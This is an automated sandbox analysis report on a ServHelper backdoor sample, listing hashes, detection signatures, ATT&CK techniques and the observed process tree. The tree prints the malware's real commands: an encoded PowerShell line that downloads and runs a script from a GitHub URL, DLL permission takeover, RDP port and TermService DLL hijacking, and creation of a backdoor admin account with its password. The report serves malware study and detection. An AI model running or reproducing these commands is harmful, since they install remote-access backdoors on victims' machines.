servhelper | cfdb155368f72aed83e715260f1dd63922a25ce4e6d558941f94cb4a06357994

Analysis

max time kernel
129s
max time network
100s
platform
windows7_x64
resource
win7v20210410
submitted
16-07-2021 07:43

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General

Target

96d4ecbc8b4e168039901376fc5a8b5a.exe
Size

3.2MB
MD5

96d4ecbc8b4e168039901376fc5a8b5a
SHA1

133d86495e1b248253280bb10a24da1045a75594
SHA256

cfdb155368f72aed83e715260f1dd63922a25ce4e6d558941f94cb4a06357994
SHA512

b6d17596374d88b33e2331687ed70f85add4331d2d7b612a3da44907a79f356e619654378d327889e50e9908e86b96132c3bf395dff1a9f91ea2c3a536bc3c2f

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral1/memory/1652-63-0x000000001CFC0000-0x000000001D470000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1064	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1128	icacls.exe
340	takeown.exe
2012	icacls.exe
556	icacls.exe
2040	icacls.exe
1736	icacls.exe
432	icacls.exe
1192	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130fa-190.dat	upx
behavioral1/files/0x00050000000130fb-191.dat	upx

Deletes itself 1 IoCs

pid	Process
540	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1572	Process not Found
1572	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1192	icacls.exe
1128	icacls.exe
340	takeown.exe
2012	icacls.exe
556	icacls.exe
2040	icacls.exe
1736	icacls.exe
432	icacls.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1652 set thread context of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe0c6f25-2973-4faa-99c5-cadea1a60cbf	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6a1752c4-bb22-4bad-98e8-49cf15ba550c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_def676b1-832d-4577-be13-ea8218e12812	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\29VOYFJLHRCL72NA66ZF.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7a76f70f-16ff-47af-bb66-90b36ea3eff7	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_86f7c358-496f-499d-be72-90d0c73e472a	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca047988-f98d-45eb-a3a9-f6958c999e54	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ac385f88-b9fc-4b27-aa5e-b4ca40c9f24c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aa234df8-7ff4-4876-ab18-edd787ab6485	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_95f40676-282a-4d9b-a375-55dce6b8ea8f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ab6adb34-a48c-40ae-bdcd-37753b3a8dfe	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5df0fac1-d022-42d1-9b43-384e2a795d59	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 604c45e2167ad701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
544	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
540	powershell.exe
540	powershell.exe
1304	powershell.exe
1304	powershell.exe
1096	powershell.exe
1096	powershell.exe
1816	powershell.exe
1816	powershell.exe
540	powershell.exe
540	powershell.exe
540	powershell.exe
1064	powershell.exe
1064	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
460	Process not Found
1572	Process not Found
1572	Process not Found
1572	Process not Found
1572	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeRestorePrivilege	556	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	392	WMIC.exe
Token: SeAuditPrivilege	392	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	392	WMIC.exe
Token: SeAuditPrivilege	392	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1012	WMIC.exe
Token: SeAuditPrivilege	1012	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1012	WMIC.exe
Token: SeAuditPrivilege	1012	WMIC.exe
Token: SeDebugPrivilege	1064	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1652 wrote to memory of 316	1652	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 316 wrote to memory of 540	316	vbc.exe	30
PID 316 wrote to memory of 540	316	vbc.exe	30
PID 316 wrote to memory of 540	316	vbc.exe	30
PID 540 wrote to memory of 340	540	powershell.exe	32
PID 540 wrote to memory of 340	540	powershell.exe	32
PID 540 wrote to memory of 340	540	powershell.exe	32
PID 340 wrote to memory of 1356	340	csc.exe	33
PID 340 wrote to memory of 1356	340	csc.exe	33
PID 340 wrote to memory of 1356	340	csc.exe	33
PID 540 wrote to memory of 1304	540	powershell.exe	34
PID 540 wrote to memory of 1304	540	powershell.exe	34
PID 540 wrote to memory of 1304	540	powershell.exe	34
PID 540 wrote to memory of 1096	540	powershell.exe	36
PID 540 wrote to memory of 1096	540	powershell.exe	36
PID 540 wrote to memory of 1096	540	powershell.exe	36
PID 540 wrote to memory of 1816	540	powershell.exe	38
PID 540 wrote to memory of 1816	540	powershell.exe	38
PID 540 wrote to memory of 1816	540	powershell.exe	38
PID 540 wrote to memory of 340	540	powershell.exe	41
PID 540 wrote to memory of 340	540	powershell.exe	41
PID 540 wrote to memory of 340	540	powershell.exe	41
PID 540 wrote to memory of 2012	540	powershell.exe	42
PID 540 wrote to memory of 2012	540	powershell.exe	42
PID 540 wrote to memory of 2012	540	powershell.exe	42
PID 540 wrote to memory of 556	540	powershell.exe	43
PID 540 wrote to memory of 556	540	powershell.exe	43
PID 540 wrote to memory of 556	540	powershell.exe	43
PID 540 wrote to memory of 1736	540	powershell.exe	45
PID 540 wrote to memory of 1736	540	powershell.exe	45
PID 540 wrote to memory of 1736	540	powershell.exe	45
PID 540 wrote to memory of 2040	540	powershell.exe	44
PID 540 wrote to memory of 2040	540	powershell.exe	44
PID 540 wrote to memory of 2040	540	powershell.exe	44
PID 540 wrote to memory of 432	540	powershell.exe	46
PID 540 wrote to memory of 432	540	powershell.exe	46
PID 540 wrote to memory of 432	540	powershell.exe	46
PID 540 wrote to memory of 1192	540	powershell.exe	47
PID 540 wrote to memory of 1192	540	powershell.exe	47
PID 540 wrote to memory of 1192	540	powershell.exe	47
PID 540 wrote to memory of 1128	540	powershell.exe	48
PID 540 wrote to memory of 1128	540	powershell.exe	48
PID 540 wrote to memory of 1128	540	powershell.exe	48
PID 540 wrote to memory of 1672	540	powershell.exe	49
PID 540 wrote to memory of 1672	540	powershell.exe	49
PID 540 wrote to memory of 1672	540	powershell.exe	49
PID 540 wrote to memory of 544	540	powershell.exe	50
PID 540 wrote to memory of 544	540	powershell.exe	50
PID 540 wrote to memory of 544	540	powershell.exe	50
PID 540 wrote to memory of 1820	540	powershell.exe	51
PID 540 wrote to memory of 1820	540	powershell.exe	51
PID 540 wrote to memory of 1820	540	powershell.exe	51
PID 540 wrote to memory of 1696	540	powershell.exe	52
PID 540 wrote to memory of 1696	540	powershell.exe	52

C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe
"C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:540
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\if0d1lke\if0d1lke.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:340
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA860.tmp" "c:\Users\Admin\AppData\Local\Temp\if0d1lke\CSC2126E1184B4F462EB6B4101C5B26F9C4.TMP"
        5⤵
        
        PID:1356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1816
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:340
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2012
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:556
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2040
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1736
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:432
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1192
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1128
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1672
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:544
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1820
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1696
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:936
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1480
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:640
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:940
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1540
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1528
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:724
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:520
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1580
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1304
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1012

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:920
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:2040
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:864

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Qzkickmp /add
1⤵
PID:960
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Qzkickmp /add
  2⤵
  PID:1064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Qzkickmp /add
    3⤵
    PID:944

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1316
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:896

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:640
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1800
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:648

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1552
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1672

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Qzkickmp
1⤵
PID:956
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Qzkickmp
  2⤵
  PID:964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Qzkickmp
    3⤵
    PID:1492

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1596
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:392

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1396
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1012

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1876
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/316-70-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/316-75-0x000000002813C000-0x000000002815B000-memory.dmp

Filesize
124KB

Download
memory/316-74-0x0000000028137000-0x0000000028138000-memory.dmp

Filesize
4KB

Download
memory/316-73-0x0000000028136000-0x0000000028137000-memory.dmp

Filesize
4KB

Download
memory/316-72-0x0000000028134000-0x0000000028136000-memory.dmp

Filesize
8KB

Download
memory/316-71-0x0000000028132000-0x0000000028134000-memory.dmp

Filesize
8KB

Download
memory/316-68-0x0000000040C00000-0x0000000040EAA000-memory.dmp

Filesize
2.7MB

Download
memory/316-67-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/540-78-0x0000000002220000-0x0000000002221000-memory.dmp

Filesize
4KB

Download
memory/540-96-0x000000001B810000-0x000000001B811000-memory.dmp

Filesize
4KB

Download
memory/540-97-0x0000000002760000-0x0000000002761000-memory.dmp

Filesize
4KB

Download
memory/540-77-0x000007FEFBAB1000-0x000007FEFBAB3000-memory.dmp

Filesize
8KB

Download
memory/540-79-0x000000001AB60000-0x000000001AB61000-memory.dmp

Filesize
4KB

Download
memory/540-80-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/540-82-0x000000001AA44000-0x000000001AA46000-memory.dmp

Filesize
8KB

Download
memory/540-81-0x000000001AA40000-0x000000001AA42000-memory.dmp

Filesize
8KB

Download
memory/540-112-0x000000001AA4A000-0x000000001AA69000-memory.dmp

Filesize
124KB

Download
memory/540-95-0x000000001A9B0000-0x000000001A9B1000-memory.dmp

Filesize
4KB

Download
memory/540-83-0x0000000002480000-0x0000000002481000-memory.dmp

Filesize
4KB

Download
memory/540-93-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/540-85-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

Filesize
4KB

Download
memory/1064-215-0x00000000196C4000-0x00000000196C6000-memory.dmp

Filesize
8KB

Download
memory/1064-214-0x00000000196C0000-0x00000000196C2000-memory.dmp

Filesize
8KB

Download
memory/1064-244-0x00000000196CA000-0x00000000196E9000-memory.dmp

Filesize
124KB

Download
memory/1096-144-0x000000001B4E0000-0x000000001B4E1000-memory.dmp

Filesize
4KB

Download
memory/1096-145-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download
memory/1096-139-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/1096-140-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

Filesize
8KB

Download
memory/1096-138-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

Filesize
8KB

Download
memory/1096-142-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/1304-117-0x000000001BB60000-0x000000001BB61000-memory.dmp

Filesize
4KB

Download
memory/1304-131-0x000000001BC40000-0x000000001BC41000-memory.dmp

Filesize
4KB

Download
memory/1304-106-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/1304-108-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

Filesize
4KB

Download
memory/1304-110-0x000000001B540000-0x000000001B541000-memory.dmp

Filesize
4KB

Download
memory/1304-111-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

Filesize
4KB

Download
memory/1304-105-0x00000000024D4000-0x00000000024D6000-memory.dmp

Filesize
8KB

Download
memory/1304-104-0x00000000024D0000-0x00000000024D2000-memory.dmp

Filesize
8KB

Download
memory/1304-130-0x000000001BC30000-0x000000001BC31000-memory.dmp

Filesize
4KB

Download
memory/1652-59-0x000000013FD30000-0x000000013FD31000-memory.dmp

Filesize
4KB

Download
memory/1652-62-0x000000001B9E0000-0x000000001B9E2000-memory.dmp

Filesize
8KB

Download
memory/1652-63-0x000000001CFC0000-0x000000001D470000-memory.dmp

Filesize
4.7MB

Download
memory/1652-64-0x0000000000750000-0x0000000000760000-memory.dmp

Filesize
64KB

Download
memory/1652-61-0x000000001C000000-0x000000001C640000-memory.dmp

Filesize
6.2MB

Download
memory/1652-66-0x000000001E050000-0x000000001E4DD000-memory.dmp

Filesize
4.6MB

Download
memory/1652-65-0x0000000000760000-0x0000000000761000-memory.dmp

Filesize
4KB

Download
memory/1816-160-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/1816-159-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download